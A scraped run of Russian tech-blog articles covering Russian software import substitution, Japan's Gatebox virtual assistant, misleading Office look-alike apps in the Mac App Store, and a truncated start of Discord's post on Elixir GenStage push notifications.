А если очертить круг шире и посмотреть на специализированные отраслевые решения, например, кассовое программное обеспечение, то западное ПО здесь — скорее исключение из правил. Более того, даже приходящие на российский рынок иностранные ритейлеры предпочитают переводить бизнес-процессы на решения местных разработчиков. Владимир Левашов, руководитель отдела информационных систем BDO Unicon Outsourcing:
Думаю, никого не удивлю, если назову антивирусы, программы распознавания текста и речи, словари, системы для резервного копирования данных, поисковые машины, системы мониторинга, продукты для электронных платежей, системы юридически значимого электронного документооборота.
Все эти продукты уже сейчас представлены на международном рынке. К сожалению, продуктовых российских компаний в принципе очень немного – значимых игроков не более 2-3 десятков. Очень хочется верить, что их число будет активно расти. Надеюсь, что продление льгот для ИТ-компаний до 2023 года будет этому способствовать. Александр Беляев, руководитель направления импортозамещения и ПО с открытым кодом компании КРОК:
На самом деле, практически в любой категории можно найти продукты отечественной разработки, которые так или иначе являются конкурентными на рынке. Чаще всего это прикладное ПО, которое успешно продается и внедряется в России (ERP-системы, бухгалтерское ПО, решения по управлению проектами и многое другое). Есть и успешные примеры конкуренции на равных на международном рынке – это, в первую очередь, антивирусное ПО, резервное копирование, аналитика, и другие. Илья Вислоцкий, директор центра архитектуры клиентских решений Stack Group:
Сегодня уже есть российское ПО (или ПО с большим российским участием), занимающее лидирующее положение не только в России. Я могу выделить несколько типов (не ограничиваясь ими): специальное ПО: мало известно в классических офисах, но тем не менее, хотел бы отметить участие российских разработчиков в международных проектах связанных с космосом, крупномасштабным строительством и другими грандиозными проектами, в которых знание физики и математики главенствует над разработкой;
требующие хороших знаний математики: обеспечивающие информационную безопасность, защиту от хакерских и DDoS-атак, антивирусное ПО, ПО по распознаванию образов, по управлению дисками и файловыми системами и другое;
требующие хороших знаний потребностей пользователей (этот тип скорее применяется только на территории РФ): биллинг-системы, всевозможные CRM, ERP, «офисные» приложения и другое ПО, облегчающее работу компании;
проприетарные доработки ПО с открытым кодом: оркестраторы, операционные системы, frameworks, драйверы и очень много всего остального, что есть на разнообразных HUBах;
много других продуктов, в том числе направленных на определенный сегмент рынка.
Российское ИТ-оборудование примерно также поддается категоризации: военное, под крупный проект, и самое популярное — доработанные компоновки и сборки. Безусловно, российское ИТ-оборудование конкурентоспособно, однако оно пока не может удовлетворить все потребности рынка. Нужно отталкиваться от задачи, где-то можно применить только иностранное оборудование, а где-то его можно заменить лучшим российским аналогом. Алексей Болдырев, генеральный директор компании «Айтоника»:
В сфере ПО — это, безусловно, антивирусы. Тут лидерство у Касперского даже и в мировом масштабе, а Доктор Веб — его достойный соперник на родном рынке. В целом в России абсолютное большинство любых продуктов в сфере информационной безопасности — именно российские.
В других сегментах рынка есть локальные лидеры: абсолютные, как «1С» в бухгалтерии, «1С-Битрикс» в системах управления сайтами, или относительные — например, производители оборудования (ПК и средних серверов) «Аквариус» и «Крафтвей», а в мощных серверах — российская компания «Ядро». Ожидаем в 2017 году рывка от команды «МойОфис» в офисном ПО, у них выходит сильное обновление пакета, и надеемся, что «Базальт» в сфере ОС тоже себя покажет! Вячеслав Медведев, ведущий аналитик отдела развития компании «Доктор Веб»:
Системы безопасности, банковский софт, ПО, связанное с обеспечением документооборота. В частности, российские антивирусные системы отлично продаются и в Европе, и за ее пределами. Сергей Козлов, генеральный директор компании «Мегаплан»:
На рынке антивирусов «Лаборатория Касперского» — отличный пример компании, которая сначала завоевала рынок у нас, а потом вышла на международную арену.
В нашей собственной области (CRM и таск-менеджеры) российские продукты успешно конкурируют с иностранными системами. Среди бухгалтерских программ это, конечно, «1С». Михаил Епихин, ведущий маркетолог backend-платформы для разработки мобильных приложений Scorocode:
С иностранным ПО конкурируют 2 типа решений – традиционный бизнес в лице отечественных ИТ-гигантов вроде компании ABBYY с решениями по распознаванию текста, «Лаборатории Касперского» с решениями по информационной безопасности, а также инновационные стартапы в сфере e-commerce, мобильной аналитики, CRM, PaaS и MBaaS платформ. Отдельно стоит упомянуть мобильные приложения – Prisma и MSQRD стали лучшими по версии Appstore.
Мы с нашей платформой для разработки мобильных, гибридных и веб-приложений Scorocode планируем также масштабироваться на международный рынок в 2017 году, сейчас тренд на digital-трансформацию компаний только растет, по исследованиям Forbes – 2/3 руководителей из рейтинга компаний Forbes 500 в 2017 году примут digital-стратегию как основную в развитии. Сергей Ельцов, технический директор LiveTex:
Российское ПО сегодня вполне успешно конкурирует с западным в области телекома, антивирусов, системах автоматизированного проектирования, средств защиты информации.
Но хотелось бы оговориться, что в этом вопросе главное – определить критерии «отечественности»: на рынке есть зарубежные компании, которые предлагают продукт российской разработки. Такие решения не попадают в реестр отечественного ПО, но по своей идеологии являются российскими. Использует ли ваша компания в настоящий момент какое-то ПО отечественной разработки? В каких отделах (разработка, продажи, бухгалтерия и так далее)? А оборудование отечественного производства? Александр Осипов, руководитель отдела маркетинга группы компаний «Пилот»:
На текущий момент из российского прикладного программного обеспечения мы используем только «1С». Но открою тайну, в настоящий момент «Пилот» мигрирует с «1С» на SAP. Этот шаг связан с возросшими требованиями к прозрачности и отлаженности бизнес-процессов предприятия. Владимир Левашов, руководитель отдела информационных систем BDO Unicon Outsourcing:
Да, мы пользуемся продуктами «Касперского» для защиты от вирусов, для резервного копирования используем системы Acronis. Практически весь бухгалтерский учет ведется на системе «1С». В последние годы компания активно развивает услуги кадрового учета и расчета зарплаты на «Босс-Кадровике». Для обмена юридически значимыми электронными документами и сдачи отчетности применяется Taxcom и «СКБ-Контур». Для управления циклом продаж и обслуживания клиентов используются системы, созданные на базе «1С-Битрикс» и «1С», для архивации применяем 7-ZIP. Илья Вислоцкий, директор центра архитектуры клиентских решений Stack Group:
Мы используем российские продукты по безопасности, биллингу, бухгалтерии, проприетарные доработки и ряд другого российского ПО, в том числе и сами разрабатываем ПО под свои нужды. Отечественное оборудование не используем. Вячеслав Медведев, ведущий аналитик отдела развития компании «Доктор Веб»:
Как разработчики ПО, которое должно защищать всех и всегда, при тестировании антивируса мы используем очень большое количество софта и аппаратных средств. Мы обеспечиваем совместимость с российскими продуктами и, в случае использования его нашими заказчиками, обеспечиваем защиту соответствующих систем. Увы, какое бы ПО ни использовалось — вирусы, троянцы и уязвимости есть везде, и считать, что переход на иные программы решит проблемы безопасности, нельзя. Тенденция второй половины 2016 года — атаки на операционные системы, отличные от ОС Windows. Михаил Епихин, ведущий маркетолог backend-платформы для разработки мобильных приложений Scorocode:
Мы используем для разработки нашу собственную платформу Scorocode, для бухгалтерии используем «1С». Сергей Ельцов, технический директор LiveTex:
Мы используем свое собственное решение — платформу LiveTex для поддержки клиентов и продаж, антивирус «Касперский» и «1C» (что для России довольно стандартно). Наталья Паули, PR-директор компании «Обувь России»:
Да, в нашей компании в качестве ERP-системы используем программу «1С 8: Управление производственным предприятием». В ней на текущий момент автоматизированы основные блоки учетно-управленческого цикла — бухгалтерский учет и отчетность как по российским, так и по международным стандартам, управление финансами и бюджетирование, управление розничной и оптовой торговлей, управление человеческими ресурсами, логистикой, управленческий учет, электронный документооборот.
Кроме того, также на базе «1С» мы разработали программные модули для управления такими проектами компании, как продажа обуви в рассрочку и выдача денежных займов. Весь процесс оформления и сопровождения договоров рассрочки и займов автоматизирован на базе «1С». Более того, все новые проекты мы также запускаем на базе «1С». Существует ли какое-то направление, в котором российский софт лидирует на мировом рынке? На российском рынке? Владимир Левашов, руководитель отдела информационных систем BDO Unicon Outsourcing:
Сложно отнести российское ПО к лидерам рынка, хотя в ряде ниш наши разработчики преуспевают – тот же «Касперский», Veam, Parallels, OpenWay.
К числу лидеров мирового рынка ПО, наверное, стоит отнести не софт, а аутсорсинговую заказную разработку. Несмотря на политическую напряженность, наши позиции на этом направлении по-прежнему сильны.
Без сомнения, ни одна иностранная ERP- или учетная система не сможет в ближайшие десятилетия конкурировать с «1С» [на российском рынке]: иностранные вендоры просто не успевают адаптироваться к требованиям российского законодательства с такой скоростью, как это делает детище г-на Нуралиева.
Вне конкуренции и российские системы для электронной отчетности (Taxcom, «СКБ-Контур» и другие). Причина их успеха – это опять-таки детальное знание требований локального рынка и его регуляторов и быстрая адаптация под любые изменения, происходящие в бухгалтерском, трудовом и налоговом законодательстве. Александр Беляев, руководитель направления импортозамещения и ПО с открытым кодом компании КРОК:
О каком-то безоговорочном лидерстве говорить будет слишком громко, но есть отечественные продукты, которые, несомненно, можно назвать наиболее популярными в определенном направлении во всем мире. Это, например, антивирусы Касперского, системы резервного копирования Veeam и Acronis, решения по виртуализации Parallels. В России таким лидером можно назвать «1С», а также рынок АБС (автоматизированных банковских систем) и средства информационной безопасности. Илья Вислоцкий, директор центра архитектуры клиентских решений Stack Group:
Я думаю все в мире знают бренды Acronis, Kaspersky, ABBYY – с их продуктами знаком почти каждый обыватель. Среди российских коммерческих организаций, безусловно, знакомы имена EPAM, R-Style, Diasoft, ФОРС, 1C, Parallels и много других. Сергей Козлов, генеральный директор компании «Мегаплан»:
Компания ABBYY, российский разработчик решений для распознавания текстов, — безусловный мировой лидер. В сфере предотвращения и расследования киберпреступлений сегодня громко заявляет о себе Group-IB. Компания создала крупнейшую криминалистическую лабораторию в Восточной Европе и активно выходит на международные рынки. Насколько качество (быстродействие, отказоустойчивость, удобство использования) российского конкурентоспособного ПО сопоставимо с иностранным? Александр Осипов, руководитель отдела маркетинга группы компаний «Пилот»:
У российского программного обеспечения есть одна особенность — это непроработанное с пользовательской точки зрения юзабилити. Часто причиной этого становится тот факт, что программы начинают писать программисты для программистов, а потом получившиеся решения поступают в массовую продажу.
Чтобы проиллюстрировать этот пример, предложу вам сравнить две CRM-системы разных эпох: «1С CRM» и AmoCRM. Какой удобнее пользоваться? Думаю, вы ответите, что именно второй. А все потому, что ребята из AmoCRM уделили особое внимание проработке user stories, анализу решений конкурентов и проектированию собственного интерфейса ПО. Это приятное исключение из правил.
Так, «Пилоту» есть, чему у них поучиться — наше кассовое решение «Профи-Т», к сожалению, по уровню юзабилити не отличается от предложений конкурентов. Но в следующем году мы собираемся выпустить новую версию кассового ПО с обновленным и переработанным интерфейсом. Александр Беляев, руководитель направления импортозамещения и ПО с открытым кодом компании КРОК:
Если ПО конкурентоспособно, то, очевидно, что его качественные показатели сопоставимы с другими предложениями на рынке. Иначе бы эти решения просто не покупались. И все примеры российского ПО, которое продается на зарубежном рынке, являются тому ярким подтверждением. Илья Вислоцкий, директор центра архитектуры клиентских решений Stack Group:
Мы получали одинаково хороший уровень поддержки и от российских разработчиков, и от иностранных, и иногда нас одинаково некачественно обслуживали. Делая бизнес в России, с российскими компаниями проще и быстрее найти общий язык и добиться нужных изменений. Вячеслав Медведев, ведущий аналитик отдела развития компании «Доктор Веб»:
Если смотреть на ПО, уже признанное за рубежом, то оно конкурентоспособно по всем перечисленным пунктам. Для остального софта проблемой является малое количество заказчиков. Фактически это замкнутый круг. Нет заказчиков — нет денег на найм разработчиков. Нет персонала — нет нужного заказчикам функционала. Нет функционала — нет заказчиков, покупающих продукт по причине его высокого качества. Сергей Козлов, генеральный директор компании «Мегаплан»:
Если говорить про облачные технологии, то качество российского ПО вполне сопоставимо с зарубежными разработками. В этом секторе мы, безусловно, на острие прогресса. В частности, это касается отечественных CRM-систем.
Система «Мегаплан» появилась на рынке первой и разрабатывалась как более доступный по цене русскоязычный аналог западным системам. Это было в 2006–2007 годах. Сейчас отечественные CRM в России намного популярнее зарубежных аналогов. Российские продукты почти вытеснили иностранное ПО.
Еще пять лет назад клиенты сравнивали российские CRM-системы с зарубежными аналогами, такими как Salesforce, Highrise, SugarCRM. Сегодня они выбирают между российскими сервисами, в то время как зарубежные продукты уже не занимают значительную долю рынка.
И дело здесь не только в качестве продукта. Российское ПО сегодня не уступает по стабильности работы и качеству проработки интерфейса зарубежным аналогам.
Кстати, в Microsoft, Google, Amazon и многих других крупнейших мировых IT-компаниях много разработчиков из России. Сергей Ельцов, технический директор LiveTex:
Однозначный ответ на этот вопрос дать сложно: все зависит от конкретных решений. Могу сказать, что у отечественного ПО зачастую «хромает» документация. Кроме того, вокруг западных продуктов вырастает многочисленное комьюнити, и, помимо официальной документации, пользователи имеют доступ к хорошо развитым форумам и так далее. В России такого комьюнити пока не хватает. Насколько цены на российское ПО сопоставимы с иностранными? Александр Осипов, руководитель отдела маркетинга группы компаний «Пилот»:
Цены на российское ПО значительно выгоднее, чем на решения иностранных разработчиков. И дело тут не только в end user price. Посчитайте последующую поддержку, обновления решения, и доработки, которые неожиданно могут возникнуть. Например, российский рынок розничной и оптовой торговли в этом году тряхнуло дважды: сначала пришел ЕГАИС, а потом был обновлен ФЗ-54. И ритейлеры, использовавшие западное ПО для касс, были вынуждены переплачивать за доработки и ждать не сильно приоритетные для западных разработчиков заплатки и обновления. Александр Беляев, руководитель направления импортозамещения и ПО с открытым кодом компании КРОК:
Думаю, в данном случае отечественное ПО следует разделить на две категории. К первой отнесем те российские продукты, которые уже давно хорошо себя зарекомендовали во всем мире, и, соответственно, долго и упорно работали над качеством и функциональностью. Их цены будут на одном уровне с иностранными конкурентами.
А вот с российским ПО, которое начало разрабатываться относительно недавно, и зачастую по причине необходимости импортозамещения, дело обстоит несколько иначе. Оно в большинстве случаев дешевле зарубежных аналогов и пока не всегда имеет конкурентную функциональность. Но это лишь вопрос времени. Алексей Болдырев, генеральный директор компании «Айтоника»:
Можно этому удивляться или огорчаться, но в продуктах-лидерах своего сегмента и цены, и качество сравнимы с зарубежными конкурентами. Наверное, только «1С» может «убить» свой рынок еще и ценой, но это объяснимо — на нашем рынке они явление огромного масштаба. Вячеслав Медведев, ведущий аналитик отдела развития компании «Доктор Веб»:
По-разному. Нужно понимать, что большие объемы продаж зарубежного ПО позволяют снизить стоимость для конечных заказчиков. Для разработчиков малотиражного ПО, только выходящего на рынок, такие цены могут стать удавкой на шее.
Проблема в том, что на данный момент порог вхождения на рынок ПО очень высок. Да, большинство использует малую часть возможностей каждого продукта, но каждый использует разный функционал. Поэтому для выхода на рынок мало иметь низкие цены — по факту нужно иметь полный аналог ПО конкурентов, разве лишь без некоторого незначительного функционала. Сергей Козлов, генеральный директор компании «Мегаплан»:
Цены на отечественное ПО всегда были ниже, что выгодно пользователям. А после того, как доллар и евро выросли по отношению к рублю, цены на отечественный продукт стали выгодны вдвойне. Если посмотреть на рынок CRM и взять стоимость той же SalesForce, самой популярной CRM-системы в мире, то средний пакет обойдется по цене $150 в месяц за пользователя. В российских системах это будет всего 500–1500 рублей в месяц за пользователя. Михаил Епихин, ведущий маркетолог backend-платформы для разработки мобильных приложений Scorocode:
Плюс ко всему сейчас вводятся ряд ограничений на работу иностранных компаний. Это позволяет конкурировать по цене с зарубежными решениями. Какими качествами, в первую очередь, должен обладать продукт отечественной разработки для того, чтобы ваша компания рассмотрела возможность его интеграции в существующие процессы? Александр Беляев, руководитель направления импортозамещения и ПО с открытым кодом компании КРОК:
Так как мы являемся системным интегратором, то, соответственно, во главе угла для нас всегда встает вопрос соответствия потребностей заказчика той функциональности, которой обладает ПО.
Еще одним важным параметром является качество технической поддержки от вендора/производителя, ее близость к заказчику и к интегратору. Также необходимо соответствие продукта целому ряду регламентирующих, организационных требований, что особенно важно для государственных компаний и для проектов по обеспечению информационной безопасности.
Конечно же, мы обращаем внимание на страну разработчика. Поэтому в каждом отдельном случае мы принимаем решение о выборе ПО исходя из особенностей проекта.
Если говорить более предметно, то я бы выделил следующие характеристики: возможность доработки функционала и адаптации под особенности компании, автоматизация управления и высокая степень отказоустойчивости к сбоям. Илья Вислоцкий, директор центра архитектуры клиентских решений Stack Group:
Требования к продуктам никак не отличаются от их территориальной принадлежности. Как я рассказал выше, мы используем российское ПО, оно полностью удовлетворяет предъявляемым к нему требованиям.
Если коротко сформулировать требования к ПО, то они такие: должно решать поставленную задачу, быть надежным, легко дорабатываемым под изменения требований бизнеса, иметь хорошую техподдержку, адекватную стоимость покупки и поддержки. Алексей Болдырев, генеральный директор компании «Айтоника»:
Мы как интегратор, смотрим, в отличие от клиентов, не только и не столько на соотношение цены и качества: нам потом это решение ещё и поддерживать, обычно несколько лет! Так что нам ещё и нужно понимание того, что вендор с рынка никуда не денется, не разорится, что у него вменяемая коммерческая и техническая политика — то есть, мы смотрим не только на сам продукт, но и на тех, кто его делает и продаёт, на организацию как структуру. Вячеслав Медведев, ведущий аналитик отдела развития компании «Доктор Веб»:
Он должен давать те возможности, которые отсутствуют у конкурентов, либо при конкурентной цене и сравнимом качестве выполнять те действия, которые есть в ПО конкурентов и используются нами. Сергей Козлов, генеральный директор компании «Мегаплан»:
Мы сами являемся российским разработчиком ПО и уже используем в своей работе продукты отечественной разработки. Никакой «аллергии» на слово «российский» у нас нет. Мы всегда готовы рассматривать возможность использования подобных продуктов, главное, чтобы это было полезно для сервисов и клиентов «Мегаплана».
Второй вопрос — это цена. Так как российские аналоги выигрывают по цене, то при схожем качестве мы зачастую делаем выбор в пользу отечественного ПО, так как его банально проще купить.
Если раньше понятие «американский сервис» ассоциировалось со знаком качества, то сегодня оно затерялось среди достойных российских продуктов, которые мы активно используем. Сергей Ельцов, технический директор LiveTex:
В первую очередь я назову актуальность. Очень часто российские продукты «отстают» от зарубежных разработок и появляются «задним числом». Наталья Паули, PR-директор компании «Обувь России»:
У программного обеспечения должна быть возможность модификации и адаптации под потребности компании. Как упоминали выше, мы не просто продаем обувь, а еще и предоставляем ряд нестандартных для рынка сервисов. И мы смогли на базе «1С» разработать программные модули для сопровождения данных проектов.
Еще один важный момент: простота обучения для работы с ПО. У нас каждый магазин является частью единой IT-системы, все продавцы — финансовые менеджеры. Вся работа магазина и предоставление финансовых сервисов нашим покупателям автоматизированы. Поэтому персоналу розницы необходимо работать с программами, которые должны быть понятными и простыми для освоения. Кроме того, важно, чтобы были специалисты, умеющие сопровождать данное ПО.
В случае с «1С» таких программистов достаточно много. Конечно, немаловажный момент — это стоимость ПО, которая должна быть адекватной предоставляемым возможностям. Также следует упомянуть, что в текущих условиях работа с отечественным ПО позволяет снизить риски, связанные с возможным ухудшением внешнеполитической ситуации и введением санкций. Эти риски также необходимо учитывать, если речь идет о долгосрочной стратегии развития компании.
Как оказалось, картина выглядит довольно оптимистично. Мы знаем, чего хотим от ИТ-продуктов, и понимаем, что «завтра» не получится сместить иностранных конкурентов. Более того, не всегда в этом есть необходимость.
Если российское ПО, например, дешевле американского, выбор не всегда будет сделан в пользу отечественного производителя. Ведь часто на первое место выходят такие критерии, как качество и функциональность, продуманное юзабилити, адекватная техническая поддержка, развитость экосистемы и в конце концов, привычка или годами накопленный кредит доверия.
Возможно, грамотная обратная связь от всех неравнодушных, открытое обсуждение и остальные процессы, резонирующие с идеями импортозамещения, послужат мотивацией для российских игроков отечественного ИТ-рынка. | https://habrahabr.ru/post/317718/ |
habrahabr | Японцы запустили предзаказы Gatebox — виртуального ассистента одиноких людей | ['виртуальный помощник', 'дополненная реальность', 'умные сервисы'] |
Cortana, Siri, Alexa — все это виртуальные помощники, которые умеют отвечать на не слишком сложные вопросы, рассказывать о погоде, помогать пользователю искать близлежащие кафешки и рестораны.... |
Cortana, Siri, Alexa — все это виртуальные помощники, которые умеют отвечать на не слишком сложные вопросы, рассказывать о погоде, помогать пользователю искать близлежащие кафешки и рестораны. Технических недостатков у таких ассистентов много, но многим людям эти сервисы оказывают довольно большую помощь.
К сожалению, при общении с виртуальным помощником есть один существенный недостаток не совсем технического характера: своего собеседника нельзя увидеть. То есть на экране появляются сенсорные виртуальные кнопки для управления возможностями сервиса, но ассистент остается для своего пользователя обычной программой. Но японцы придумали, как можно визуализировать ассистента. Более того, японская компания Vinclu Inc выпустила свой вариант виртуального помощника, получившего собственное имя — Azuma Hikari — и уже запустила продажи системы.
Пока что выпущена лишь ограниченная партия в 300 экземпляров, но вполне может быть, что при должном спросе на эту систему на рынок попадет и более крупная партия. Позиционируется Azuma Hikari как система для одиноких людей. Это виртуальная девушка в анимэ-стиле с голубыми волосами, большими глазами и коротким платьицем. Все, как полагается, есть даже чулочки. Разработчики заявляют, что Azuma Hikari делает для своего владельца все, что возможно.
Реклама показывает нам все, на что способна виртуальная помощница. Система может показывать прогноз погоды, работать в качестве будильника, управлять освещением и бытовой техникой (конечно, если интерфейс самой техники это позволяет). Но главное — она нивелирует одиночество, ведь с Azuma Hikari можно даже переписываться в течение дня. Ей, например, можно написать нечто вроде «скоро буду дома», чтобы получить в ответ «жду не дождусь». Чат-бот понимает написанное и складно отвечает, в меру своих возможностей.
Узнав о приближении владельца, она начинает включать освещение и готовить микроклимат помещения к прибытию хозяина.
У персонажа Azuma Hikari есть даже собственный профиль в сети. Из него можно узнать, что ей 20 лет, рост персонажа — 158 см, девушка любит пончики, не любит насекомых. Есть у виртуальной девушки и мечта, она мечтает стать той, что помогает тяжело работающим людям. При внимательном рассмотрении оказывается, что девушка носит обручальное кольцо. В общем, если у кого-то нет реальной супруги, то вполне можно купить виртуальную.
Правда, ходить по всей квартире или дому такая жена не сможет, поскольку живет она исключительно в Gatebox — аппарате, внутри которого размещается компьютерная система и проектор, обеспечивающий демонстрацию изображения девушки с голубыми волосами. Есть у Gatebox и специальные сенсоры плюс камера, помогающие системе идентифицировать лицо и движения владельца.
Интересно то, что Azuma понимает, что ей говорят и может отвечать. «Когда вы устали или у вас просто есть свободное время — почему бы просто не прикоснуться к кнопке и не получить порцию веселого общения с персонажем», — говорится на сайте продукта. Да, японские разработчики действительно сделали все, чтобы покупатель системы Gatebox уже не чувствовал себя одиноким
Gatebox оснащен и модулями связи, включая Wi-Fi и Bluetooth. Эти модули обеспечивают синхронизацию не только с телефоном пользователя, но и со всеми умными устройствами, которые есть в доме. Благодаря своим сенсорам система может вести мониторинг микроклимата помещения, включая и выключая различные бытовые устройства.
Авторы проекта утверждают, что у виртуальной девушки «целебный голос», а сама она поддерживает своего хозяина каждый день. Чем больше пользователь с ней разговаривает, тем быстрее она обучается, получая информацию о жизни владельцев, а также об их эмоциональном состоянии. После обучения Azuma пытается помогать своему хозяину в случае, если у того негативный эмоциональный настрой.
Естественно, виртуальная жена такого класса не может быть недорогим продуктом. Стоимость системы Gatebox составляет 298000 иен, это около $2580. Отгрузка партии из 300 экземпляров начнется в декабре 2017 года.
Как видим, виртуальные помощники постепенно эволюционируют. Gatebox — это уже нечто среднее между умным виртуальным помощником от Microsoft, Apple или Amazon и виртуальной же певицей Мику Хацунэ (Hatsune Miku). Еще в 2010 году эта творческая личность с успехом выступала на сцене.
Кроме Хацунэ на сцене выступали еще и виртуальный Тупак Шакур и Майкл Джексон. Но одинокие люди вряд ли хотели бы, чтобы по утрам их будил Шакур. Желающих услышать утром нежный голос виртуальной жены, наверное, гораздо больше. | https://geektimes.ru/post/283756/ |
habrahabr | Не попадитесь: в Mac App Store полно мошенников | ['Mac App Store', 'вредоносные приложения', 'microsoft office'] |
Вы, возможно, любите и разбираетесь в компьютерных технологиях – но бывают и другие люди. Многих компьютеры сбивают с толку, или даже пугают. Злонамеренные личности знают об этом и специально... |
Вы, возможно, любите и разбираетесь в компьютерных технологиях – но бывают и другие люди. Многих компьютеры сбивают с толку, или даже пугают. Злонамеренные личности знают об этом и специально стараются обманывать людей в онлайне. От рекламных объявлений, маскирующихся под кнопку скачивания, до всплывающих вымогателей – в вебе полно обманчивого дизайна, направленного на технически не подкованных людей.
В теории магазины приложений потому и полезны. Пользователи бояться быть обманутыми в «открытом» вебе, и потому могут спокойно чувствовать себя в the Mac App Store, ведь эппловский сад за забором сможет защитить их.
Но он их не защищает. Давайте с вами попробуем купить Excel
Попробуйте почувствовать себя начинающим пользователем компьютера. У вас новенький iMac, на котором вам нужно отредактировать несколько табличке Excel. В панели инструментов Dock вы находите App Store, о котором уже наслышаны, и открываете его. Затем вы ищете поле для поиска и вводите «Microsoft Excel».
Верхний результат называется «Office Bundle» и стоит $30. Вы открываете его, и читаете подробности.
Гляньте-ка, это ведь «самый простой способ создания высококачественных документов Word, таблиц Excel и презентаций PowerPoint». Именно это вам и нужно! Давайте ещё почитаем. — Создавайте документы Word, Excel, Powerpoint;
— синхронизируйте их в OneDrive;
— отслеживайте изменения в онлайн-документах, автоматически отображающиеся в локальных;
— работайте с календарём и Outlook;
— …
Прочитав этот текст, попробуйте догадаться, что вам предлагает это приложение? Я подожду.
Это… шаблоны! 293 Мб шаблонов за $30, и они бесполезны без Microsoft Office.
Конечно, коллекция шаблонов может стоить $30. Возможно, это и правда отличные шаблоны. Но давайте уточним:
• Это верхний результат поиска «Microsoft Excel».
• Слова «шаблон» [template] нет в названии продукта.
• Слова «шаблон» нет в описании продукта.
• Описание продукта упоминает функции, характерные для Microsoft Office, и никоим образом не относящиеся к тому, что получит пользователь, заказав коллекцию шаблонов.
• Этот продукт невозможно найти поиском шаблонов.
Легко понять, что пользователь может обмануться таким приложением, и очень сложно представить, что такое положение вещей не было создано разработчиком намеренно. Чего бы он ни добивался, люди попадаются на этом.
Скажем прямо: пользователей ограбили, Apple прикарманила $10. Эти комментарии вы сможете увидеть, только если прокрутите страницу ниже двух обзоров по 5 звёзд каждый, много раз упоминающих слово «app». И оба обзора сделаны с аккаунтов, которые не делали больше никаких обзоров в AppStore.
Поищите другие приложения Office, и вы найдёте ещё больше наборов шаблонов, разными путями замаскированных под официальные приложения.
Также там есть несколько приложений по $20, просто размещающих бесплатные онлайн-версии программ Microsoft Office в выделенный браузер. Также там можно найти и несколько реальных «приложений», способных открывать и редактировать файлы Офиса, многие из которых используют в названиях словосочетания типа «Microsoft Word». Судя по всему, это немного изменённые версии приложений с открытым кодом – мы не стали покупать их, чтобы разобраться в этом.
Все эти подделки используют бренды от Microsoft — Office, Word, Excel – в своих названиях. Логотипы они не копируют полностью, но почти всегда цвет и буквы очень похожи – голубая W для Word, зелёная E для Excel, и так дальше.
Мы уже писали на тему того, почему в Mac App Store нет нужных вам приложений, и Microsoft Office Suite относится к тем приложениям, которых там не найти. Может, вам это уже известно, но скажите мне: почему это должно быть известно среднему пользователю компьютера? Недобросовестным разработчикам понятно, что средний пользователь этого не знает, и они пользуются этим.
За исключением OneNote и OneDrive, в Mac App Store нельзя купить официальных приложений из состава Office. Их нужно заказывать непосредственно у Microsoft , либо за $150, либо в виде годовой подписки Office 365. Или же можно использовать iWork, поставляющийся вместе с Mac, или совершенно бесплатную веб-версию Microsoft Office , а также альтернативу с открытым кодом, типа LibreOffice .
Для вас это может быть очевидным. Но это не для всех очевидно, и существование Mac App Store, наполненного имитациями, ещё больше усложняет ситуацию. Сад за забором никого не защищает. В App Store полно таких мошеннических приложений
Мы сконцентрировались на App Store, поскольку это вопиющий случай. Но не нужно глубоко копать, чтобы найти другие сходные проблемы.
Поищите «Indesign», и вы не найдёте инструмент для публикации от Adobe, а вместо этого вам попадутся несколько наборов обучающих видео, с иконками, имитирующими InDesign.
Тут попытки обмана пользователя не так очевидны, но и в этом случае бросается в глаза попытка имитации разработчиками официального бренда.
Другие разработчики обладают какой-то тёмной SEO-магией в отношении App Store. Поищите «Firefox» или «Chrome», и первым в списке будет " Fast Browser ", приложение за $1, не обновлявшееся с 2014 года.
Использование такого браузера будет отвратительной идеей.
И таких проблем невпроворот:
• Поищите " Adblock ", и найдёте приложение за $2, абсолютно не связанное с этим плагином для браузера.
• Поищите вебсайт — Facebook, Gmail, что угодно – и найдёте десятки «приложений», которые просто открывают окно браузера с этим сайтом.
• Этим летом как минимум одно приложение из Mac App Store устанавливало вредоносные программы на Mac.
• App Store переполнен очистителями диска и памяти , которые вам не нужны.
Можно было бы продолжать далее. Суть в том, что App Store, обещающий защиту пользователей, не справляется с этим. Внутри сада за забором водится порядочно всякой ерунды. Apple необходимо очистить Mac App Store
В прошлом году мы обличали Windows Store как выгребную яму, переполненную обманками, и с тех пор Microsoft борется с этим. Apple прилагают усилия для устранения поддельных приложений у пользователей iPhone и iPad: iOS App Store очищают от старых и неработающих приложений.
Но регулярные посетители Mac App Store знают, что и эту платформу пора чистить. Якобы официальные приложения сомнительной природы слишком легко найти через поиск. Понятно, что Apple нужно, чтобы App Store выглядел наполненным, но оставлять такие вещи, разработанные, похоже, специально для обмана пользователей, вряд ли пристало. | https://geektimes.ru/post/283760/ |
habrahabr | Как Discord обрабатывает более 1 000 000 push-запросов в минуту с помощью Elixir GenStage | ['Firebase', 'GenStage', 'Elixir', 'XMPP', 'Discord', 'Erlang', 'чаты', 'push-запросы', 'push-уведомления', 'обратное давление', 'сброс нагрузки', 'бэкенд'] |
Discord
Discord испытал небывалый рост. Чтобы справиться с ним, нашему отделу разработки досталась приятная проблема — искать способ масштабирования сервисов бэкенда.
В этом деле мы... | Discord Discord испытал небывалый рост. Чтобы справиться с ним, нашему отделу разработки досталась приятная проблема — искать способ масштабирования сервисов бэкенда.
В этом деле мы добились большого успеха с помощью одной технологии, которая называется Elixir GenStage. Идеальный шторм: Overwatch и Pokémon GO
Этим летом наша система мобильных push-уведомлений стала скрипеть от нагрузки. Чат /r/Overwatch перевалил за 25 000 одновременных пользователей, а чат-группы Pokémon GO возникали повсеместно, так что внезапные всплески потока уведомлений стали серьёзной проблемой.
Всплески потока уведомлений тормозят всю систему push-уведомлений, а иногда кладут её. Push-уведомления или приходят поздно, или не приходят вовсе. GenStage идёт на помощь
После небольшого расследования мы выяснили, что основным бутылочным горлышком была отправка push-уведомлений в сервис Google Firebase Cloud Messaging.
Мы поняли, что можем немедленно улучшить пропускную способность, если отправлять push-запросы к Firebase по XMPP, а не по HTTP.
Firebase XMPP слегка сложнее, чем HTTP. Firebase требует, чтобы у каждого XMPP-соединения в каждый момент времени было не более 100 запросов в очереди. Если от вас улетело 100 запросов, то следует подождать, пока Firebase подтвердит получение запроса, прежде чем отправить следующий.
Поскольку в очередь допускаются только 100 запросов в каждый момент времени, нам пришлось спроектировать новую систему, чтобы XMPP-соединения не переполнялись во время всплесков потока запросов.
На первый взгляд показалось, что GenStage будет идеальным решением проблемы. GenStage
